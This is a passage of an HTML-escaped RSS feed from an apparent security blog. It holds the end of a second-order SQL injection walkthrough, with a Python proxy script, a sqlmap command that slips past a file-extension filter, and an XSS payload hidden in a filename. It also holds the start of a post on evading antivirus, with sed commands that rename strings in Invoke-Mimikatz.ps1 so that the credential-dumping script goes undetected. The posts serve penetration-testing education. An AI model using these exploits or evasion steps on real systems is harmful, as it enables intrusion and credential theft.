&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/9.png&quot; alt=&quot;Request&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/10.png&quot; alt=&quot;Response&quot; style=&quot;width:25%;&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;database-extraction&quot;&gt;Database Extraction&lt;/h2&gt;

&lt;p&gt;Now that an injection point has been discovered, is time to automate the database retrieval with &lt;a href=&quot;http://sqlmap.org/&quot;&gt;sqlmap&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But, there is a problem to achieve a valid automation of the attack, &lt;strong&gt;the injection part is in the filename after a valid POST in the&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;create.php&lt;/code&gt; &lt;strong&gt;endpoint and the result is in the&lt;/strong&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.php&lt;/code&gt; &lt;strong&gt;endpoint__&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Although sqlmap has the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--second-url&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--second-req=&lt;/code&gt; attributes, in some situations, using both parameters may not be enough for successful exploitation. A nice approach is to use a custom &lt;strong&gt;proxy&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/11.png&quot; alt=&quot;Request&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;1&lt;/strong&gt; Sqlmap points to our localhost proxy&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;2&lt;/strong&gt; The proxy uploads the file to the server using the payload as filename&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;3&lt;/strong&gt; The proxy retrieves the response and executes a regex to present the result to sqlmap&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;4&lt;/strong&gt; Sqlmap tries different payloads until the injection is achieved&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code of the proxy is the following (Python2):&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;BaseHTTPServer&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;HTTPServer&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urlparse&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parse_qs&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;cgi&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;json&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;urllib&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;re&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;GP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;BaseHTTPRequestHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;_set_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send_header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Content-type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'text/html'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;end_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_HEAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_set_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_GET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_set_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Reading payload
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parse_qs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;payload&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;# POST file (CHANGE url_Website)
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'http://url_website/sqli/public/create.php'&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Uncomment to use a real file (name it 1.jpg in the server.py folder)
&lt;/span&gt;        &lt;span class=&quot;c1&quot;&gt;#files = {'file': (payload,open('1.jpg','rb'))}
&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Using a b64 magic number to simulate the file 
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;files&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'image'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'/9g='&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))}&lt;/span&gt;
        

        &lt;span class=&quot;c1&quot;&gt;# Uncomment for Burp interception
&lt;/span&gt;        
        &lt;span class=&quot;s&quot;&gt;'''
        proxies = {
                'http': 'http://127.0.0.1:8080',
                'https': 'http://127.0.0.1:8080'
                }

        r = requests.post(url, files=files, proxies=proxies, verify=False)
        
        '''&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# No Burp interception
&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# Get response (CHANGE url_Website)
&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;files&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;n&quot;&gt;url&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;http://url_Website/sqli/public/index.php&quot;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;# Replace parenthesis to not break regex
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;\)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;(&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;\(&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# regex to serach the response
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&amp;lt;div class=&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;imageDiv&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.*'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'.*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.*&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.*&amp;lt;\/div&amp;gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;z&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

        
        
    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_set_headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;form&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cgi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;FieldStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;fp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;environ&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'REQUEST_METHOD'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'POST'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;form&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getvalue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;foo&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;form&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;getvalue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;bin&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;wfile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;h1&amp;gt;POST Request Received!&amp;lt;/h1&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server_class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;HTTPServer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler_class&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8088&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;server_address&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;server_address&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;handler_class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'Server running at localhost:8088...'&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;httpd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serve_forever&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The sqlmap command will be the follow:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python2 sqlmap.py -u http://localhost:8088/?payload= -p payload --suffix=&quot;#.png&quot; --technique=U --union-char='hihi' --union-cols=4&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-u http://localhost:8088/?payload=&lt;/code&gt; : Our local proxy to perfom the file upload and the response retrieval.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-p payload&lt;/code&gt; : Parameter with sqlmaps payloads&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--suffix=&quot;#.png&quot;&lt;/code&gt; : Force the end of the filename with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#.png&lt;/code&gt; to bypass file extension filters and comment the extension to avoid a wront SQL syntax.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--technique=U&lt;/code&gt; : Force the use of &lt;strong&gt;UNION&lt;/strong&gt; technique as shown in the manual anaylisis.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--union-cols=4&lt;/code&gt;: Force the use of &lt;strong&gt;4&lt;/strong&gt; columns as shown in the manual anaylisis to the the injection.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Triggering the following:&lt;/p&gt;

&lt;script id=&quot;asciicast-De5V24nJtblES3EVfvGv7a6cQ&quot; src=&quot;https://asciinema.org/a/De5V24nJtblES3EVfvGv7a6cQ.js&quot; async=&quot;&quot;&gt;&lt;/script&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;extra-xss&quot;&gt;Extra XSS&lt;/h2&gt;

&lt;p&gt;Filenames are a good place to exploit Cross-Site Scripting (XSS). In this case, with a payload of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Jake&quot; onerror=&quot;alert( `XSS `)&quot; test=&quot;.png&lt;/code&gt; the XSS execution is achieved:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/12.png&quot; alt=&quot;Response&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Injection into the src value:
&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190429/13.png&quot; alt=&quot;Response&quot; /&gt;&lt;/p&gt;
</description>
          <pubDate>2019-04-29T00:00:00+02:00</pubDate>
          <link>https://jlajara.gitlab.io/Second_order_sqli</link>
          <guid isPermaLink="true">https://jlajara.gitlab.io/Second_order_sqli</guid>
        </item>
      
    
      
        <item>
          <title>Powershell AV Evasion. Running Mimikatz with PowerLine</title>
          <description>&lt;meta property=&quot;og:title&quot; content=&quot;Powershell AV Evasion. Running Mimikatz with PowerLine&quot; /&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190127/1.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Once Remote Code Execution on a computer has been achieved, it is important to get a satisfactory post-exploitation. Running a series of PowerShell tools is interesting to facilitate this work: &lt;a href=&quot;https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/&quot;&gt;Meterpreter&lt;/a&gt;, &lt;a href=&quot;https://github.com/gentilkiwi/mimikatz&quot;&gt;Mimikatz&lt;/a&gt;, &lt;a href=&quot;https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView&quot;&gt;PowerView&lt;/a&gt;, &lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1&quot;&gt;PowerUp&lt;/a&gt;, &lt;a href=&quot;https://github.com/Kevin-Robertson/Inveigh&quot;&gt;Inveigh&lt;/a&gt;, etc.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;old-evasions&quot;&gt;Old evasions&lt;/h2&gt;

&lt;p&gt;PowerShell is present by default on all Windows 7+ and is becoming the most common way to execute desired scripts in Windows. For this reason, products are starting to block or alert on the use of PowerShell.&lt;/p&gt;

&lt;p&gt;After some searches, lots of &lt;a href=&quot;https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1&quot;&gt;&lt;em&gt;Invoke-Mimikatz.ps1&lt;/em&gt;&lt;/a&gt; evasion articles were found. In these articles, the Mimikatz script is modified to avoid AV detection without changing the functionality with the following commands:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1

sed -i -e '/&amp;lt;#/,/#&amp;gt;/c\\' Invoke-Mimikatz.ps1

sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1

sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1

sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1

sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1

sed -i -e &quot;s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g&quot; Invoke-Mimikatz.ps1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once tested, it is checked that antivirus detect this behavior, so it is not effective in the post-exploitation phase.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://jlajara.gitlab.io/assets/images/posts/20190127/2.png&quot; alt=&quot;Title&quot; /&gt;&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;powerline&quot;&gt;Powerline&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/fullmetalcache/PowerLine&quot;&gt;Powerline&lt;/a&gt; is a fantastic tool created by Brian Fehrman &lt;a href=&quot;https://twitter.com/fullmetalcache&quot;&gt;(@fullmetalcache)&lt;/a&gt; that allows to call PowerShell scripts. It is written in C# (does not call PowerShell directly), and can be used purely from Command Line.&lt;/p&gt;

